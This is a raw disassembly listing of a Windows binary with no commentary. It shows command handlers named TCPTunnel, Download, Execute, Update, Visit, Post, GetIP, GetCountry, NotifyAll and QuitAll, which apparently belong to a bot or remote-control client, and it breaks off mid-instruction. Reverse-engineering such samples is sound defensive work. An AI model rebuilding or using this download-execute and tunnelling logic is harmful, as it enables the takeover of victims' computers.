loc_40E969: ; CODE XREF: sub_40E83B+55j mov eax, [ebx+8] mov edi, [ebp+8] mov [ebp+0Ch], eax sub eax, edi push 28h cdq pop ecx idiv ecx cmp eax, esi jnb short loc_40E9D6 push dword ptr [ebp+8] lea eax, [esi+esi*4] push dword ptr [ebp+0Ch] shl eax, 3 mov [ebp-18h], eax add eax, edi mov edx, edi call sub_40EBCE pop ecx pop ecx mov dword ptr [ebp-4], 2 mov ecx, [ebx+8] lea eax, [ebp-40h] push eax mov eax, ecx sub eax, edi push 28h pop edi cdq idiv edi push ebx mov edi, ecx sub esi, eax call sub_40E81D mov eax, [ebp-18h] add [ebx+8], eax mov ebx, [ebx+8] lea ecx, [ebp-40h] sub ebx, eax mov eax, [ebp+8] push ecx push ebx call sub_40EB25 pop ecx pop ecx jmp short loc_40EA0F ; --------------------------------------------------------------------------- loc_40E9D6: ; CODE XREF: sub_40E83B+141j mov eax, [ebp+0Ch] lea esi, [esi+esi*4] mov edx, eax shl esi, 3 sub edx, esi mov [ebp+8], edx push dword ptr [ebp+8] push eax call sub_40EBCE push dword ptr [ebp+0Ch] mov [ebx+8], eax mov eax, [ebp+8] push edi call sub_40EB44 lea eax, [ebp-40h] push eax add esi, edi push esi mov eax, edi call sub_40EB25 add esp, 18h loc_40EA0F: ; CODE XREF: sub_40E83B+2Dj ; sub_40E83B+117j ... mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 8 sub_40E83B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EA20 proc near ; CODE XREF: sub_40E5EC+B4p mov eax, offset loc_427EE6 call sub_41E550 push ecx push ebx push esi push edi mov edi, ecx push 0FFFFFFFFh push dword ptr [edi] call ds:dword_429128 ; WaitForSingleObject mov ebx, [edi+8] mov eax, [edi+0Ch] cmp ebx, eax jz short loc_40EA77 loc_40EA44: ; CODE XREF: sub_40EA20+55j lea eax, [edi+4] call sub_408AF0 cmp eax, 1 jbe short loc_40EA77 mov esi, [ebx] cmp dword ptr [esi+48h], 0 jg short loc_40EA6F call sub_4151B4 push ebx lea ebx, [ebp-10h] lea esi, [edi+4] call sub_408B03 mov ebx, [edi+8] jmp short loc_40EA72 ; --------------------------------------------------------------------------- loc_40EA6F: ; CODE XREF: sub_40EA20+37j add ebx, 4 loc_40EA72: ; CODE XREF: sub_40EA20+4Dj cmp ebx, [edi+0Ch] jnz short loc_40EA44 loc_40EA77: ; CODE XREF: sub_40EA20+22j ; sub_40EA20+2Fj mov esi, [edi+8] cmp esi, [edi+0Ch] jz short loc_40EAF1 loc_40EA7F: ; CODE XREF: sub_40EA20+75j mov eax, [ebp+8] mov ebx, [esi] call sub_41520F test eax, eax jnz short loc_40EB02 mov eax, [edi+0Ch] add esi, 4 cmp esi, eax jnz short loc_40EA7F push 154h call sub_41BA91 mov esi, eax pop ecx mov [ebp-10h], esi xor eax, eax cmp esi, eax mov [ebp-4], eax jz short loc_40EABF push eax push esi call sub_4150A5 mov dword ptr [esi], offset off_4306D8 mov eax, esi loc_40EABF: ; CODE XREF: sub_40EA20+8Ej or dword ptr [ebp-4], 0FFFFFFFFh mov [ebp-10h], eax lea eax, [edi+4] lea esi, [ebp-10h] call sub_40C2E7 mov ecx, [edi+0Ch] mov eax, [ebp+8] sub ecx, 4 mov ebx, [ecx] call sub_41520F push dword ptr [edi] call ds:dword_429138 ; ReleaseMutex mov edi, [edi+0Ch] sub edi, 4 mov eax, [edi] loc_40EAF1: ; CODE XREF: sub_40EA20+5Dj ; sub_40EA20+ECj mov ecx, [ebp-0Ch] pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 ; --------------------------------------------------------------------------- loc_40EB02: ; CODE XREF: sub_40EA20+6Bj push dword ptr [edi] call ds:dword_429138 ; ReleaseMutex mov eax, [esi] jmp short loc_40EAF1 sub_40EA20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB0E proc near ; CODE XREF: sub_40E789+Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_40EB5B add esp, 0Ch leave retn sub_40EB0E endp ; =============== S U B R O U T I N E ======================================= sub_40EB25 proc near ; CODE XREF: sub_40E83B+192p ; sub_40E83B+1CCp arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp eax, [esp+arg_0] jz short locret_40EB43 push esi push edi loc_40EB2D: ; CODE XREF: sub_40EB25+1Aj mov esi, [esp+8+arg_4] mov edi, eax push 0Ah add eax, 28h cmp eax, [esp+0Ch+arg_0] pop ecx rep movsd jnz short loc_40EB2D pop edi pop esi locret_40EB43: ; CODE XREF: sub_40EB25+4j retn sub_40EB25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB44 proc near ; CODE XREF: sub_40E83B+1BEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_0] call sub_40EBA7 add esp, 0Ch leave retn sub_40EB44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB5B proc near ; CODE XREF: sub_40EB0E+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp eax, [ebp+arg_0] jz short loc_40EB7D push esi push edi loc_40EB65: ; CODE XREF: sub_40EB5B+1Ej mov edi, [ebp+arg_4] add [ebp+arg_4], 28h mov esi, eax push 0Ah add eax, 28h cmp eax, [ebp+arg_0] pop ecx rep movsd jnz short loc_40EB65 pop edi pop esi loc_40EB7D: ; CODE XREF: sub_40EB5B+6j mov eax, [ebp+arg_4] pop ebp retn sub_40EB5B endp ; =============== S U B R O U T I N E ======================================= sub_40EB82 proc near ; CODE XREF: sub_40E81D+Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 test eax, eax jbe short locret_40EBA6 push esi push edi loc_40EB88: ; CODE XREF: sub_40EB82+20j cmp [esp+8+arg_0], 0 jz short loc_40EB9C mov esi, [esp+8+arg_4] mov edi, [esp+8+arg_0] push 0Ah pop ecx rep movsd loc_40EB9C: ; CODE XREF: sub_40EB82+Bj add [esp+8+arg_0], 28h dec eax jnz short loc_40EB88 pop edi pop esi locret_40EBA6: ; CODE XREF: sub_40EB82+2j retn sub_40EB82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EBA7 proc near ; CODE XREF: sub_40EB44+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], eax jz short loc_40EBC9 push esi push edi loc_40EBB1: ; CODE XREF: sub_40EBA7+1Ej sub [ebp+arg_4], 28h mov edi, [ebp+arg_4] sub eax, 28h cmp eax, [ebp+arg_0] push 0Ah pop ecx mov esi, eax rep movsd jnz short loc_40EBB1 pop edi pop esi loc_40EBC9: ; CODE XREF: sub_40EBA7+6j mov eax, [ebp+arg_4] pop ebp retn sub_40EBA7 endp ; =============== S U B R O U T I N E ======================================= sub_40EBCE proc near ; CODE XREF: sub_40E83B+AFp ; sub_40E83B+CDp ... arg_0 = dword ptr 4 cmp edx, [esp+arg_0] jz short locret_40EBF1 push esi push edi loc_40EBD6: ; CODE XREF: sub_40EBCE+1Fj test eax, eax jz short loc_40EBE3 push 0Ah pop ecx mov esi, edx mov edi, eax rep movsd loc_40EBE3: ; CODE XREF: sub_40EBCE+Aj add edx, 28h add eax, 28h cmp edx, [esp+8+arg_0] jnz short loc_40EBD6 pop edi pop esi locret_40EBF1: ; CODE XREF: sub_40EBCE+4j retn sub_40EBCE endp ; =============== S U B R O U T I N E ======================================= sub_40EBF2 proc near ; CODE XREF: .text:00427FF1p ; .text:00428009p ... xor eax, eax push esi lea esi, [edi+10h] mov [edi+4], eax mov [edi+8], eax mov [edi+0Ch], eax call sub_4099E5 mov eax, edi pop esi retn sub_40EBF2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4280CC loc_40EC0A: ; CODE XREF: sub_4280CC+79j push esi mov esi, eax push dword ptr [esi+10h] call ds:dword_4290F0 ; CloseHandle call sub_413A1C pop esi retn ; END OF FUNCTION CHUNK FOR sub_4280CC ; =============== S U B R O U T I N E ======================================= sub_40EC1D proc near ; CODE XREF: sub_411377+509p push esi push 2 mov esi, eax push offset aMessagebox ; "MessageBox" call sub_413800 mov dword ptr [esi], offset off_4307E4 mov eax, esi pop esi retn sub_40EC1D endp ; =============== S U B R O U T I N E ======================================= sub_40EC36 proc near ; DATA XREF: .text:off_4307E4o arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] mov esi, [eax] call sub_40FEFE mov eax, [edi+4] add eax, 4 mov esi, [eax] call sub_40FEFE mov edi, [edi+4] mov eax, [edi] push 0 push dword ptr [eax+10h] mov eax, [edi+4] push dword ptr [eax+10h] push 0 call ds:dword_42922C ; MessageBoxA pop edi pop esi retn 4 sub_40EC36 endp ; =============== S U B R O U T I N E ======================================= sub_40EC70 proc near ; CODE XREF: sub_411377+56Cp push esi push 1 mov esi, eax push offset aSleep ; "Sleep" call sub_413800 mov dword ptr [esi], offset off_4307CC mov eax, esi pop esi retn sub_40EC70 endp ; =============== S U B R O U T I N E ======================================= sub_40EC89 proc near ; DATA XREF: .text:off_4307CCo arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 1 jnz short locret_40ECA3 mov eax, ecx push dword ptr [eax+10h] call ds:dword_429084 ; Sleep locret_40ECA3: ; CODE XREF: sub_40EC89+Dj retn 4 sub_40EC89 endp ; =============== S U B R O U T I N E ======================================= sub_40ECA6 proc near ; CODE XREF: sub_411377+53Fp push esi push 2 mov esi, eax push offset aRand ; "Rand" call sub_413800 mov dword ptr [esi], offset off_4307B8 mov eax, esi pop esi retn sub_40ECA6 endp ; =============== S U B R O U T I N E ======================================= sub_40ECBF proc near ; DATA XREF: .text:off_4307B8o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] push esi mov esi, ecx mov ecx, [eax] cmp dword ptr [ecx+8], 1 jnz short loc_40ECFD mov ecx, [eax+4] cmp dword ptr [ecx+8], 1 jnz short loc_40ECFD push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] call sub_40D864 pop ecx cdq pop ecx mov ecx, [esi+108h] mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 loc_40ECFD: ; CODE XREF: sub_40ECBF+10j ; sub_40ECBF+19j pop esi retn 4 sub_40ECBF endp ; =============== S U B R O U T I N E ======================================= sub_40ED01 proc near ; CODE XREF: sub_411377+599p push esi push 3 mov esi, eax push offset aTcptunnel ; "TCPTunnel" call sub_413800 mov dword ptr [esi], offset off_43079C mov eax, esi pop esi retn sub_40ED01 endp ; =============== S U B R O U T I N E ======================================= sub_40ED1A proc near ; DATA XREF: .text:off_43079Co arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 1 jnz short loc_40ED6C mov ecx, [eax+4] cmp dword ptr [ecx+8], 1 jnz short loc_40ED6C mov eax, [eax+8] cmp dword ptr [eax+8], 3 jnz short loc_40ED6C push 688h call sub_41BA91 test eax, eax pop ecx jz short loc_40ED6C mov ecx, [esi+4] mov edx, [ecx+8] push edi push dword ptr [edx+10h] mov edx, [ecx+4] movzx edx, word ptr [edx+10h] mov ecx, [ecx] movzx ecx, word ptr [ecx+10h] push edx push ecx mov edi, eax call sub_416706 pop edi loc_40ED6C: ; CODE XREF: sub_40ED1A+Ej ; sub_40ED1A+17j ... pop esi retn 4 sub_40ED1A endp ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_411377+5C6p push esi push 0 mov esi, eax push offset aGetidletime ; "GetIdleTime" call sub_413800 mov dword ptr [esi], offset off_430784 mov eax, esi pop esi retn sub_40ED70 endp ; =============== S U B R O U T I N E ======================================= sub_40ED89 proc near ; DATA XREF: .text:off_430784o push esi mov eax, offset dword_438140 mov esi, ecx call sub_416B68 mov ecx, [esi+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40ED89 endp ; =============== S U B R O U T I N E ======================================= sub_40EDAE proc near ; CODE XREF: sub_411377+5F3p push esi push 0 mov esi, eax push offset aGetcountry ; "GetCountry" call sub_413800 mov dword ptr [esi], offset off_430774 mov eax, esi pop esi retn sub_40EDAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDC7 proc near ; DATA XREF: .text:off_430774o var_4 = byte ptr -4 push ebp mov ebp, esp push ecx push esi push 4 lea eax, [ebp+var_4] push eax push 7 push 800h mov esi, ecx call ds:dword_42907C ; GetLocaleInfoA lea eax, [ebp+var_4] push eax mov eax, [esi+108h] call sub_40FE96 pop esi leave retn 4 sub_40EDC7 endp ; =============== S U B R O U T I N E ======================================= sub_40EDF5 proc near ; CODE XREF: sub_411377+620p push esi push 0 mov esi, eax push offset aGetuuid ; "GetUUID" call sub_413800 mov dword ptr [esi], offset off_43075C mov eax, esi pop esi retn sub_40EDF5 endp ; =============== S U B R O U T I N E ======================================= sub_40EE0E proc near ; DATA XREF: .text:off_43075Co push esi mov esi, ecx call sub_404869 push eax mov eax, [esi+108h] call sub_40FE96 pop esi retn 4 sub_40EE0E endp ; =============== S U B R O U T I N E ======================================= sub_40EE26 proc near ; CODE XREF: sub_411377+64Dp push esi push 0 mov esi, eax push offset aGetuptime ; "GetUptime" call sub_413800 mov dword ptr [esi], offset off_430820 mov eax, esi pop esi retn sub_40EE26 endp ; =============== S U B R O U T I N E ======================================= sub_40EE3F proc near ; DATA XREF: .text:off_430820o push esi mov esi, ecx call sub_4048B7 mov ecx, [esi+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40EE3F endp ; =============== S U B R O U T I N E ======================================= sub_40EE5F proc near ; CODE XREF: sub_411377+67Ap push esi push 0 mov esi, eax push offset aGetip ; "GetIP" call sub_413800 mov dword ptr [esi], offset off_430810 mov eax, esi pop esi retn sub_40EE5F endp ; =============== S U B R O U T I N E ======================================= sub_40EE78 proc near ; DATA XREF: .text:off_430810o push esi mov esi, ecx call sub_40497E mov ecx, [esi+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40EE78 endp ; =============== S U B R O U T I N E ======================================= sub_40EE98 proc near ; CODE XREF: sub_411377+6A7p push esi push 0 mov esi, eax push offset aGetsubnetmask ; "GetSubnetMask" call sub_413800 mov dword ptr [esi], offset off_4307FC mov eax, esi pop esi retn sub_40EE98 endp ; =============== S U B R O U T I N E ======================================= sub_40EEB1 proc near ; DATA XREF: .text:off_4307FCo push esi mov esi, ecx call sub_404A16 mov ecx, [esi+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40EEB1 endp ; =============== S U B R O U T I N E ======================================= sub_40EED1 proc near ; CODE XREF: sub_411377+6D4p push esi push 0 mov esi, eax push offset aGetversion ; "GetVersion" call sub_413800 mov dword ptr [esi], offset off_4307DC mov eax, esi pop esi retn sub_40EED1 endp ; =============== S U B R O U T I N E ======================================= sub_40EEEA proc near ; DATA XREF: .text:off_4307DCo push esi push offset a21 ; "21" mov esi, ecx call sub_41D59C pop ecx mov ecx, [esi+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40EEEA endp ; =============== S U B R O U T I N E ======================================= sub_40EF10 proc near ; CODE XREF: sub_411377+701p push esi push 0 mov esi, eax push offset aGetport ; "GetPort" call sub_413800 mov dword ptr [esi], offset off_4307C0 mov eax, esi pop esi retn sub_40EF10 endp ; =============== S U B R O U T I N E ======================================= sub_40EF29 proc near ; DATA XREF: .text:off_4307C0o push esi mov esi, ecx call sub_4048C1 mov ecx, [esi+108h] movzx eax, ax cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40EF29 endp ; =============== S U B R O U T I N E ======================================= sub_40EF4C proc near ; CODE XREF: sub_411377+737p push esi push 0 mov esi, eax push offset aGetmode ; "GetMode" call sub_413800 mov dword ptr [esi], offset off_4307A0 mov eax, esi pop esi retn sub_40EF4C endp ; =============== S U B R O U T I N E ======================================= sub_40EF65 proc near ; DATA XREF: .text:off_4307A0o mov eax, ds:dword_435F64 mov ecx, [ecx+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 retn 4 sub_40EF65 endp ; =============== S U B R O U T I N E ======================================= sub_40EF81 proc near ; CODE XREF: sub_411377+764p push esi push 0 mov esi, eax push offset aGetlinkedip ; "GetLinkedIP" call sub_413800 mov dword ptr [esi], offset off_430790 mov eax, esi pop esi retn sub_40EF81 endp ; =============== S U B R O U T I N E ======================================= sub_40EF9A proc near ; DATA XREF: .text:off_430790o push esi mov esi, ecx call sub_40BF22 mov ecx, [esi+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 pop esi retn 4 sub_40EF9A endp ; =============== S U B R O U T I N E ======================================= sub_40EFBA proc near ; CODE XREF: sub_411377+791p push esi push 0 mov esi, eax push offset aClients ; "Clients" call sub_413800 mov dword ptr [esi], offset off_430780 mov eax, esi pop esi retn sub_40EFBA endp ; =============== S U B R O U T I N E ======================================= sub_40EFD3 proc near ; DATA XREF: .text:off_430780o mov eax, ds:dword_435F70 mov ecx, [ecx+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 retn 4 sub_40EFD3 endp ; =============== S U B R O U T I N E ======================================= sub_40EFEF proc near ; CODE XREF: sub_411377+7C7p push esi push 0 mov esi, eax push offset aControls ; "Controls" call sub_413800 mov dword ptr [esi], offset off_430768 mov eax, esi pop esi retn sub_40EFEF endp ; =============== S U B R O U T I N E ======================================= sub_40F008 proc near ; DATA XREF: .text:off_430768o mov eax, ds:dword_435F74 mov ecx, [ecx+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 retn 4 sub_40F008 endp ; =============== S U B R O U T I N E ======================================= sub_40F024 proc near ; CODE XREF: sub_411377+7F4p push esi push 0 mov esi, eax push offset aLinks ; "Links" call sub_413800 mov dword ptr [esi], offset off_4307E0 mov eax, esi pop esi retn sub_40F024 endp ; =============== S U B R O U T I N E ======================================= sub_40F03D proc near ; DATA XREF: .text:off_4307E0o mov eax, ds:dword_435F78 mov ecx, [ecx+108h] cdq mov [ecx+10h], eax mov [ecx+14h], edx mov dword ptr [ecx+8], 1 retn 4 sub_40F03D endp ; =============== S U B R O U T I N E ======================================= sub_40F059 proc near ; CODE XREF: sub_411377+965p push esi push 2 mov esi, eax push offset aSend ; "Send" call sub_413800 mov dword ptr [esi], offset off_4307C4 mov eax, esi pop esi retn sub_40F059 endp ; =============== S U B R O U T I N E ======================================= sub_40F072 proc near ; DATA XREF: .text:off_4307C4o mov eax, offset loc_427ED2 call sub_41E550 push esi mov esi, [ebp+8] mov eax, [esi+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short loc_40F0C1 mov eax, [eax+4] cmp dword ptr [eax+8], 1 jnz short loc_40F0C1 push 1Ch call sub_41BA91 pop ecx mov [ebp+8], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40F0C1 mov eax, [esi+4] mov ecx, [eax+4] movzx ecx, word ptr [ecx+10h] mov eax, [eax] push ecx push dword ptr [eax+10h] push 3 push dword ptr [ebp+8] call sub_416B7F loc_40F0C1: ; CODE XREF: sub_40F072+17j ; sub_40F072+20j ... mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40F072 endp ; =============== S U B R O U T I N E ======================================= sub_40F0D0 proc near ; CODE XREF: sub_411377+99Bp push esi push 1 mov esi, eax push offset aSearch ; "Search" call sub_413800 mov dword ptr [esi], offset off_4307AC mov eax, esi pop esi retn sub_40F0D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0E9 proc near ; DATA XREF: .text:off_4307ACo var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push edi mov edi, [ebp+arg_0] mov eax, [edi+4] mov eax, [eax] cmp dword ptr [eax+8], 3 mov ebx, ecx jnz loc_40F197 push esi call sub_404AA9 push eax lea esi, [ebp+var_4] call sub_405C95 call sub_404ADB push eax lea esi, [ebp+arg_0] call sub_405C95 mov esi, [edi+4] mov eax, [esi] push dword ptr [eax+10h] call sub_41C350 pop ecx push eax mov eax, [esi] push dword ptr [eax+10h] lea esi, [ebp+var_4] call sub_405DE6 test eax, eax jnz short loc_40F173 mov edi, [edi+4] mov eax, [edi] push dword ptr [eax+10h] call sub_41C350 pop ecx push eax mov eax, [edi] push dword ptr [eax+10h] lea esi, [ebp+arg_0] call sub_405DE6 test eax, eax jnz short loc_40F173 mov eax, [ebx+108h] and dword ptr [eax+10h], 0 mov dword ptr [eax+8], 1 jmp short loc_40F182 ; --------------------------------------------------------------------------- loc_40F173: ; CODE XREF: sub_40F0E9+55j ; sub_40F0E9+75j mov eax, [ebx+108h] xor ecx, ecx inc ecx mov [eax+10h], ecx mov [eax+8], ecx loc_40F182: ; CODE XREF: sub_40F0E9+88j and dword ptr [eax+14h], 0 lea esi, [ebp+arg_0] call sub_405CF2 lea esi, [ebp+var_4] call sub_405CF2 pop esi loc_40F197: ; CODE XREF: sub_40F0E9+14j pop edi pop ebx leave retn 4 sub_40F0E9 endp ; =============== S U B R O U T I N E ======================================= sub_40F19D proc near ; CODE XREF: sub_411377+821p push esi push 2 mov esi, eax push offset aDownload ; "Download" call sub_413800 mov dword ptr [esi], offset off_43078C mov eax, esi pop esi retn sub_40F19D endp ; =============== S U B R O U T I N E ======================================= sub_40F1B6 proc near ; DATA XREF: .text:off_43078Co arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F1E0 mov ecx, [eax+4] cmp dword ptr [ecx+8], 3 jnz short locret_40F1E0 mov eax, [eax] push 0 push dword ptr [ecx+10h] push dword ptr [eax+10h] call sub_4077BF add esp, 0Ch locret_40F1E0: ; CODE XREF: sub_40F1B6+Dj ; sub_40F1B6+16j retn 4 sub_40F1B6 endp ; =============== S U B R O U T I N E ======================================= sub_40F1E3 proc near ; CODE XREF: sub_411377+857p push esi push 1 mov esi, eax push offset aExecute ; "Execute" call sub_413800 mov dword ptr [esi], offset off_43077C mov eax, esi pop esi retn sub_40F1E3 endp ; =============== S U B R O U T I N E ======================================= sub_40F1FC proc near ; DATA XREF: .text:off_43077Co arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F21F push 1 mov eax, ecx push offset aTemp ; "TEMP" push dword ptr [eax+10h] call sub_4077BF add esp, 0Ch locret_40F21F: ; CODE XREF: sub_40F1FC+Dj retn 4 sub_40F1FC endp ; =============== S U B R O U T I N E ======================================= sub_40F222 proc near ; CODE XREF: sub_411377+884p push esi push 1 mov esi, eax push offset aUpdate ; "Update" call sub_413800 mov dword ptr [esi], offset off_430764 mov eax, esi pop esi retn sub_40F222 endp ; =============== S U B R O U T I N E ======================================= sub_40F23B proc near ; DATA XREF: .text:off_430764o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F25E push 2 mov eax, ecx push offset aTemp ; "TEMP" push dword ptr [eax+10h] call sub_4077BF add esp, 0Ch locret_40F25E: ; CODE XREF: sub_40F23B+Dj retn 4 sub_40F23B endp ; =============== S U B R O U T I N E ======================================= sub_40F261 proc near ; CODE XREF: sub_411377+8B1p push esi push 2 mov esi, eax push offset aVisit ; "Visit" call sub_413800 mov dword ptr [esi], offset off_430828 mov eax, esi pop esi retn sub_40F261 endp ; =============== S U B R O U T I N E ======================================= sub_40F27A proc near ; DATA XREF: .text:off_430828o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, [eax+4] mov eax, [ecx] cmp dword ptr [eax+8], 3 jnz short locret_40F297 mov eax, [ecx+4] mov eax, [ecx] push dword ptr [eax+10h] call loc_407898 pop ecx locret_40F297: ; CODE XREF: sub_40F27A+Dj retn 4 sub_40F27A endp ; =============== S U B R O U T I N E ======================================= sub_40F29A proc near ; CODE XREF: sub_411377+8DEp push esi push 2 mov esi, eax push offset aPost_0 ; "Post" call sub_413800 mov dword ptr [esi], offset off_430814 mov eax, esi pop esi retn sub_40F29A endp ; =============== S U B R O U T I N E ======================================= sub_40F2B3 proc near ; DATA XREF: .text:off_430814o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F2DA mov ecx, [eax+4] cmp dword ptr [ecx+8], 3 jnz short locret_40F2DA push dword ptr [ecx+10h] mov eax, [eax] push dword ptr [eax+10h] call sub_4078F0 pop ecx pop ecx locret_40F2DA: ; CODE XREF: sub_40F2B3+Dj ; sub_40F2B3+16j retn 4 sub_40F2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40F2DD proc near ; CODE XREF: sub_411377+90Bp push esi push 1 mov esi, eax push offset aSpeedtest ; "SpeedTest" call sub_413800 mov dword ptr [esi], offset off_430800 mov eax, esi pop esi retn sub_40F2DD endp ; =============== S U B R O U T I N E ======================================= sub_40F2F6 proc near ; DATA XREF: .text:off_430800o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] push esi mov esi, ecx mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short loc_40F323 mov eax, ecx push dword ptr [eax+10h] call sub_407949 mov eax, [esi+108h] fstp qword ptr [eax+10h] pop ecx mov dword ptr [eax+8], 2 loc_40F323: ; CODE XREF: sub_40F2F6+10j pop esi retn 4 sub_40F2F6 endp ; =============== S U B R O U T I N E ======================================= sub_40F327 proc near ; CODE XREF: sub_411377+938p push esi push 1 mov esi, eax push offset aHostchildimage ; "HostChildImage" call sub_413800 mov dword ptr [esi], offset off_4307D8 mov eax, esi pop esi retn sub_40F327 endp ; =============== S U B R O U T I N E ======================================= sub_40F340 proc near ; DATA XREF: .text:off_4307D8o mov eax, offset loc_427ED2 call sub_41E550 push esi mov esi, [ebp+8] mov eax, [esi+4] mov eax, [eax] cmp dword ptr [eax+8], 3 jnz short loc_40F37F push 6BCh call sub_41BA91 pop ecx mov [ebp+8], eax and dword ptr [ebp-4], 0 test eax, eax jz short loc_40F37F mov eax, [esi+4] mov eax, [eax] push dword ptr [eax+10h] push dword ptr [ebp+8] call sub_407A31 loc_40F37F: ; CODE XREF: sub_40F340+17j ; sub_40F340+2Dj mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn 4 sub_40F340 endp ; =============== S U B R O U T I N E ======================================= sub_40F38E proc near ; CODE XREF: sub_411377+9C8p push esi push 1 mov esi, eax push offset aNotifyall ; "NotifyAll" call sub_413800 mov dword ptr [esi], offset off_4307BC mov eax, esi pop esi retn sub_40F38E endp ; =============== S U B R O U T I N E ======================================= sub_40F3A7 proc near ; DATA XREF: .text:off_4307BCo arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] mov esi, [eax] call sub_40FEFE mov edi, [edi+4] mov eax, [edi] push dword ptr [eax+10h] mov edi, offset dword_438154 call sub_407FC9 pop edi pop esi retn 4 sub_40F3A7 endp ; =============== S U B R O U T I N E ======================================= sub_40F3CE proc near ; CODE XREF: sub_411377+9FEp push esi push 1 mov esi, eax push offset aQuitall ; "QuitAll" call sub_413800 mov dword ptr [esi], offset off_4307A4 mov eax, esi pop esi retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= sub_40F3E7 proc near ; DATA XREF: .text:off_4307A4o arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax+4] mov ecx, [eax] cmp dword ptr [ecx+8], 3 jnz short locret_40F407 push ebx mov eax, ecx push dword ptr [eax+10h] mov ebx, offset dword_438154 call sub_408012 pop ebx locret_40F407: ; CODE XREF: sub_40F3E7+Dj retn 4 sub_40F3E7 endp ; =============== S U B R O U T I N E ======================================= sub_40F40A proc near ; CODE XREF: sub_411377+A2Bp push esi push 7 mov esi, eax push offset aNew ; "New" call sub_413800 mov dword ptr [esi], offset off_430794 mov eax, esi pop esi retn sub_40F40A endp ; =============== S U B R O U T I N E ======================================= sub_40F423 proc near ; DATA XREF: .text:off_430794o mov eax, offset loc_427ED2 call sub_41E550 push esi mov esi, [ebp+8] mov eax, [esi+4] mov edx, [eax] push 3 pop ecx cmp [edx+8], ecx jnz loc_40F4D4 mov edx, [eax+4] cmp dword ptr [edx+8], 1 jnz loc_40F4D4 mov edx, [eax+8] cmp [edx+8], ecx jnz short loc_40F4D4 mov edx, [eax+0Ch] cmp [edx+8], ecx jnz short loc_40F4D4 mov edx, [eax+10h] cmp [edx+8], ecx jnz short loc_40F4D4 mov edx, [eax+14h] cmp [edx+8], ecx jnz short loc_40F4D4 mov eax, [eax+18h] cmp [eax+8], ecx jnz short loc_40F4D4 push 0F7Ch call sub_41BA91 pop ecx mov [ebp+8], eax xor eax, eax mov [ebp-4], eax cmp [ebp+8], eax jz short loc_40F4C5 mov eax, 